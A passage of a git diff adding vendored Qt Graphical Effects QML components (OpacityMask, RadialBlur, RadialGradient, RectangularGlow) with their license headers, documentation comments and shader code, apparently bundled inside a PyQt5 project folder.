General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype OpacityMask + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-mask + \brief Masks the source item with another item. + + \table + \header + \li Source + \li MaskSource + \li Effect applied + \row + \li \image Original_bug.png + \li \image OpacityMask_mask.png + \li \image OpacityMask_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet OpacityMask-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be masked. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the item that is going to be used as the mask. The + mask item gets rendered into an intermediate pixel buffer and the alpha + values from the result are used to determine the source item's pixels + visibility in the display. + + \table + \header + \li Original + \li Mask + \li Effect applied + \row + \li \image Original_bug.png + \li \image OpacityMask_mask.png + \li \image OpacityMask_bug.png + \endtable + */ + property variant maskSource + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + \note It is not supported to let the effect include itself, for + instance by setting maskSource to the effect's parent. + */ + property bool cached: false + + /*! + This property controls how the alpha values of the sourceMask will behave. + + If this property is \c false, the resulting opacity is the source alpha + multiplied with the mask alpha, \c{As * Am}. + + If this property is \c true, the resulting opacity is the source alpha + multiplied with the inverse of the mask alpha, \c{As * (1 - Am)}. + + The default is \c false. + + \since 5.7 + */ + property bool invert: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.maskSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant maskSource: maskSourceProxy.output + + anchors.fill: parent + + fragmentShader: invert ? "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/opacitymask_invert.frag" : "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/opacitymask.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialBlur.qml new file mode 100644 index 00000000..71d3b648 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialBlur.qml @@ -0,0 +1,316 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype RadialBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-motion-blur + \brief Applies directional blur in a circular direction around the items + center point. + + Effect creates perceived impression that the source item appears to be + rotating to the direction of the blur. + + Other available motionblur effects are + \l{QtGraphicalEffects::ZoomBlur}{ZoomBlur} and + \l{QtGraphicalEffects::DirectionalBlur}{DirectionalBlur}. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image RadialBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example Usage + + The following example shows how to apply the effect. + \snippet RadialBlur-example.qml example +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the direction for the blur and at the same time + the level of blurring. The larger the angle, the more the result becomes + blurred. The quality of the blur depends on + \l{RadialBlur::samples}{samples} property. If angle value is large, more + samples are needed to keep the visual quality at high level. + + Allowed values are between 0.0 and 360.0. By default the property is set + to \c 0.0. + + \table + \header + \li Output examples with different angle values + \li + \li + \row + \li \image RadialBlur_angle1.png + \li \image RadialBlur_angle2.png + \li \image RadialBlur_angle3.png + \row + \li \b { angle: 0.0 } + \li \b { angle: 15.0 } + \li \b { angle: 30.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + */ + property real angle: 0.0 + + /*! + This property defines how many samples are taken per pixel when blur + calculation is done. Larger value produces better quality, but is slower + to render. + + This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + + Allowed values are between 0 and inf (practical maximum depends on GPU). + By default the property is set to \c 0 (no samples). + + */ + property int samples: 0 + + /*! + \qmlproperty real QtGraphicalEffects::RadialBlur::horizontalOffset + \qmlproperty real QtGraphicalEffects::RadialBlur::verticalOffset + + These properties define the offset in pixels for the perceived center + point of the rotation. + + Allowed values are between -inf and inf. + By default these properties are set to \c 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image RadialBlur_horizontalOffset1.png + \li \image RadialBlur_horizontalOffset2.png + \li \image RadialBlur_horizontalOffset3.png + \row + \li \b { horizontalOffset: 75.0 } + \li \b { horizontalOffset: 0.0 } + \li \b { horizontalOffset: -75.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l angle: 20 + \li \l angle: 20 + \li \l angle: 20 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + */ + property real horizontalOffset: 0.0 + property real verticalOffset: 0.0 + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + */ + property bool transparentBorder: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: shaderItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant center: Qt.point(0.5 + rootItem.horizontalOffset / parent.width, 0.5 + rootItem.verticalOffset / parent.height) + property bool transparentBorder: rootItem.transparentBorder && rootItem.samples > 1 + property int samples: rootItem.samples + property real weight: 1.0 / Math.max(1.0, rootItem.samples) + property real angleSin: Math.sin(rootItem.angle/2 * Math.PI/180) + property real angleCos: Math.cos(rootItem.angle/2 * Math.PI/180) + property real angleSinStep: Math.sin(-rootItem.angle * Math.PI/180 / Math.max(1.0, rootItem.samples - 1)) + property real angleCosStep: Math.cos(-rootItem.angle * Math.PI/180 / Math.max(1.0, rootItem.samples - 1)) + property variant expandPixels: transparentBorder ? Qt.size(0.5 * parent.height, 0.5 * parent.width) : Qt.size(0,0) + property variant expand: transparentBorder ? Qt.size(expandPixels.width / width, expandPixels.height / height) : Qt.size(0,0) + property variant delta: Qt.size(1.0 / rootItem.width, 1.0 / rootItem.height) + property real w: parent.width + property real h: parent.height + + x: transparentBorder ? -expandPixels.width - 1 : 0 + y: transparentBorder ? -expandPixels.height - 1 : 0 + width: transparentBorder ? parent.width + expandPixels.width * 2.0 + 2 : parent.width + height: transparentBorder ? parent.height + expandPixels.height * 2.0 + 2 : parent.height + + property string fragmentShaderSkeleton: " + varying highp vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform lowp sampler2D source; + uniform highp float angleSin; + uniform highp float angleCos; + uniform highp float angleSinStep; + uniform highp float angleCosStep; + uniform highp float weight; + uniform highp vec2 expand; + uniform highp vec2 center; + uniform highp vec2 delta; + uniform highp float w; + uniform highp float h; + + void main(void) { + highp mat2 m; + gl_FragColor = vec4(0.0); + mediump vec2 texCoord = qt_TexCoord0; + + PLACEHOLDER_EXPAND_STEPS + + highp vec2 dir = vec2(texCoord.s * w - w * center.x, texCoord.t * h - h * center.y); + m[0] = vec2(angleCos, -angleSin); + m[1] = vec2(angleSin, angleCos); + dir *= m; + + m[0] = vec2(angleCosStep, -angleSinStep); + m[1] = vec2(angleSinStep, angleCosStep); + + PLACEHOLDER_UNROLLED_LOOP + + gl_FragColor *= weight * qt_Opacity; + } + " + + function buildFragmentShader() { + var shader = "" + if (GraphicsInfo.profile == GraphicsInfo.OpenGLCoreProfile) + shader += "#version 150 core\n#define varying in\n#define gl_FragColor fragColor\n#define texture2D texture\nout vec4 fragColor;\n" + shader += fragmentShaderSkeleton + var expandSteps = "" + + if (transparentBorder) { + expandSteps += "texCoord = (texCoord - expand) / (1.0 - 2.0 * expand);" + } + + var unrolledLoop = "gl_FragColor += texture2D(source, texCoord);\n" + + if (rootItem.samples > 1) { + unrolledLoop = "" + for (var i = 0; i < rootItem.samples; i++) + unrolledLoop += "gl_FragColor += texture2D(source, center + dir * delta); dir *= m;\n" + } + + shader = shader.replace("PLACEHOLDER_EXPAND_STEPS", expandSteps) + fragmentShader = shader.replace("PLACEHOLDER_UNROLLED_LOOP", unrolledLoop) + } + + onFragmentShaderChanged: sourceChanged() + onSamplesChanged: buildFragmentShader() + onTransparentBorderChanged: buildFragmentShader() + Component.onCompleted: buildFragmentShader() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialGradient.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialGradient.qml new file mode 100644 index 00000000..52b3ff3e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RadialGradient.qml @@ -0,0 +1,410 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype RadialGradient + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-gradient + \brief Draws a radial gradient. + + A gradient is defined by two or more colors, which are blended seamlessly. + The colors start from the middle of the item and end at the borders. + + \table + \header + \li Effect applied + \row + \li \image RadialGradient.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet RadialGradient-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + /*! + \qmlproperty real RadialGradient::horizontalOffset + \qmlproperty real RadialGradient::verticalOffset + + The horizontalOffset and verticalOffset properties define the offset in + pixels for the center point of the gradient compared to the item center. + + The values range from -inf to inf. By default, these properties are set + to \c 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image RadialGradient_horizontalOffset1.png + \li \image RadialGradient_horizontalOffset2.png + \li \image RadialGradient_horizontalOffset3.png + \row + \li \b { horizontalOffset: -150 } + \li \b { horizontalOffset: 0 } + \li \b { horizontalOffset: 150 } + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l horizontalRadius: 300 + \li \l horizontalRadius: 300 + \li \l horizontalRadius: 300 + \row + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \row + \li \l angle: 0 + \li \l angle: 0 + \li \l angle: 0 + \endtable + + */ + property real horizontalOffset: 0.0 + property real verticalOffset: 0.0 + + /*! + \qmlproperty real RadialGradient::horizontalRadius + \qmlproperty real RadialGradient::verticalRadius + + The horizontalRadius and verticalRadius properties define the shape and + size of the radial gradient. If the radiuses are equal, the shape of the + gradient is a circle. If the horizontal and vertical radiuses differ, + the shape is elliptical. The radiuses are given in pixels. + + The value ranges from -inf to inf. By default, horizontalRadius is bound + to width and verticalRadius is bound to height. + + \table + \header + \li Output examples with different horizontalRadius values + \li + \li + \row + \li \image RadialGradient_horizontalRadius1.png + \li \image RadialGradient_horizontalRadius2.png + \row + \li \b { horizontalRadius: 300 } + \li \b { horizontalRadius: 100 } + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \row + \li \l angle: 0 + \li \l angle: 0 + \row + \li \l gradient: QQuickGradient(0xa05fb10) + \li \l gradient: QQuickGradient(0xa05fb10) + \endtable + + */ + property real horizontalRadius: width + property real verticalRadius: height + + /*! + This property defines the rotation of the gradient around its center + point. The rotation is only visible when the + \l{RadialGradient::horizontalRadius}{horizontalRadius} and + \l{RadialGradient::verticalRadius}{verticalRadius} properties are not + equal. The angle is given in degrees and the default value is \c 0. + + \table + \header + \li Output examples with different angle values + \li + \li + \row + \li \image RadialGradient_angle1.png + \li \image RadialGradient_angle2.png + \li \image RadialGradient_angle3.png + \row + \li \b { angle: 0 } + \li \b { angle: 45 } + \li \b { angle: 90 } + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l horizontalRadius: 100 + \li \l horizontalRadius: 100 + \li \l horizontalRadius: 100 + \row + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \endtable + */ + property real angle: 0.0 + + /*! + This property defines the item that is going to be filled with gradient. + Source item gets rendered into an intermediate pixel buffer and the + alpha values from the result are used to determine the gradient's pixels + visibility in the display. The default value for source is undefined and + in that case whole effect area is filled with gradient. + + \table + \header + \li Output examples with different source values + \li + \li + \row + \li \image RadialGradient_maskSource1.png + \li \image RadialGradient_maskSource2.png + \row + \li \b { source: undefined } + \li \b { source: Image { source: images/butterfly.png } } + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l horizontalRadius: 300 + \li \l horizontalRadius: 300 + \row + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \row + \li \l angle: 0 + \li \l angle: 0 + \endtable + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + A gradient is defined by two or more colors, which are blended + seamlessly. The colors are specified as a set of GradientStop child + items, each of which defines a position on the gradient from 0.0 to 1.0 + and a color. The position of each GradientStop is defined by setting the + position property. The color is defined by setting the color property. + + \table + \header + \li Output examples with different gradient values + \li + \li + \row + \li \image RadialGradient_gradient1.png + \li \image RadialGradient_gradient2.png + \li \image RadialGradient_gradient3.png + \row + \li \b {gradient:} \code + Gradient { + GradientStop { + position: 0.000 + color: Qt.rgba(1, 0, 0, 1) + } + GradientStop { + position: 0.167 + color: Qt.rgba(1, 1, 0, 1) + } + GradientStop { + position: 0.333 + color: Qt.rgba(0, 1, 0, 1) + } + GradientStop { + position: 0.500 + color: Qt.rgba(0, 1, 1, 1) + } + GradientStop { + position: 0.667 + color: Qt.rgba(0, 0, 1, 1) + } + GradientStop { + position: 0.833 + color: Qt.rgba(1, 0, 1, 1) + } + GradientStop { + position: 1.000 + color: Qt.rgba(1, 0, 0, 1) + } + } + \endcode + \li \b {gradient:} \code + Gradient { + GradientStop { + position: 0.0 + color: "#F0F0F0" + } + GradientStop { + position: 0.5 + color: "#000000" + } + GradientStop { + position: 1.0 + color: "#F0F0F0" + } + } + \endcode + \li \b {gradient:} + \code + Gradient { + GradientStop { + position: 0.0 + color: "#00000000" + } + GradientStop { + position: 1.0 + color: "#FF000000" + } + } + \endcode + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l horizontalRadius: 300 + \li \l horizontalRadius: 300 + \li \l horizontalRadius: 300 + \row + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \li \l verticalRadius: 300 + \row + \li \l angle: 0 + \li \l angle: 0 + \li \l angle: 0 + \endtable + */ + property Gradient gradient: Gradient { + GradientStop { position: 0.0; color: "white" } + GradientStop { position: 1.0; color: "black" } + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: gradientSource + sourceItem: Rectangle { + width: 16 + height: 256 + gradient: rootItem.gradient + smooth: true + } + smooth: true + hideSource: true + visible: false + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant gradientImage: gradientSource + property variant maskSource: maskSourceProxy.output + property variant center: Qt.point(0.5 + rootItem.horizontalOffset / width, 0.5 + rootItem.verticalOffset / height) + property real horizontalRatio: rootItem.horizontalRadius > 0 ? width / (2 * rootItem.horizontalRadius) : width * 16384 + property real verticalRatio: rootItem.verticalRadius > 0 ? height / (2 * rootItem.verticalRadius) : height * 16384 + property real angle: -rootItem.angle / 360 * 2 * Math.PI + property variant matrixData: Qt.point(Math.sin(angle), Math.cos(angle)) + + anchors.fill: parent + + vertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/radialgradient.vert" + + fragmentShader: maskSource == undefined ? noMaskShader : maskShader + + onFragmentShaderChanged: horizontalRatioChanged() + + property string maskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/radialgradient_mask.frag" + property string noMaskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/radialgradient_nomask.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RectangularGlow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RectangularGlow.qml new file mode 100644 index 00000000..62862e30 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RectangularGlow.qml @@ -0,0 +1,269 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype RectangularGlow + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-glow + \brief Generates a blurred and colorized rectangle, which gives + the impression that the source is glowing. + + This effect is intended to have good performance. The shape of the glow is + limited to a rectangle with a custom corner radius. For situations where + custom shapes are required, consider \l {QtGraphicalEffects::Glow} {Glow} + effect. + + \table + \header + \li Effect applied + \row + \li \image RectangularGlow_applied.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet RectangularGlow-example.qml example +*/ +Item { + id: rootItem + + /*! + This property defines how many pixels outside the item area are reached + by the glow. + + The value ranges from 0.0 (no glow) to inf (infinite glow). By default, + the property is set to \c 0.0. + + \table + \header + \li Output examples with different glowRadius values + \li + \li + \row + \li \image RectangularGlow_glowRadius1.png + \li \image RectangularGlow_glowRadius2.png + \li \image RectangularGlow_glowRadius3.png + \row + \li \b { glowRadius: 10 } + \li \b { glowRadius: 20 } + \li \b { glowRadius: 40 } + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + + */ + property real glowRadius: 0.0 + + /*! + This property defines how large part of the glow color is strengthened + near the source edges. + + The value ranges from 0.0 (no strength increase) to 1.0 (maximum + strength increase). By default, the property is set to \c 0.0. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image RectangularGlow_spread1.png + \li \image RectangularGlow_spread2.png + \li \image RectangularGlow_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.5 } + \li \b { spread: 1.0 } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + */ + property real spread: 0.0 + + /*! + This property defines the RGBA color value which is used for the glow. + + By default, the property is set to \c "white". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image RectangularGlow_color1.png + \li \image RectangularGlow_color2.png + \li \image RectangularGlow_color3.png + \row + \li \b { color: #ffffff } + \li \b { color: #55ff55 } + \li \b { color: #5555ff } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + */ + property color color: "white" + + /*! + This property defines the corner radius that is used to draw a glow with + rounded corners. + + The value ranges from 0.0 to half of the effective width or height of + the glow, whichever is smaller. This can be calculated with: \c{ + min(width, height) / 2.0 + glowRadius} + + By default, the property is bound to glowRadius property. The glow + behaves as if the rectangle was blurred when adjusting the glowRadius + property. + + \table + \header + \li Output examples with different cornerRadius values + \li + \li + \row + \li \image RectangularGlow_cornerRadius1.png + \li \image RectangularGlow_cornerRadius2.png + \li \image RectangularGlow_cornerRadius3.png + \row + \li \b { cornerRadius: 0 } + \li \b { cornerRadius: 25 } + \li \b { cornerRadius: 50 } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \endtable + */ + property real cornerRadius: glowRadius + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + + x: (parent.width - width) / 2.0 + y: (parent.height - height) / 2.0 + width: parent.width + rootItem.glowRadius * 2 + cornerRadius * 2 + height: parent.height + rootItem.glowRadius * 2 + cornerRadius * 2 + + function clampedCornerRadius() { + var maxCornerRadius = Math.min(rootItem.width, rootItem.height) / 2 + glowRadius; + return Math.max(0, Math.min(rootItem.cornerRadius, maxCornerRadius)) + } + + property color color: rootItem.color + property real inverseSpread: 1.0 - rootItem.spread + property real relativeSizeX: ((inverseSpread * inverseSpread) * rootItem.glowRadius + cornerRadius * 2.0) / width + property real relativeSizeY: relativeSizeX * (width / height) + property real spread: rootItem.spread / 2.0 + property real cornerRadius: clampedCornerRadius() + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/rectangularglow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RecursiveBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RecursiveBlur.qml new file mode 100644 index 00000000..7d938023 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/RecursiveBlur.qml @@ -0,0 +1,329 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype RecursiveBlur + \inqmlmodule 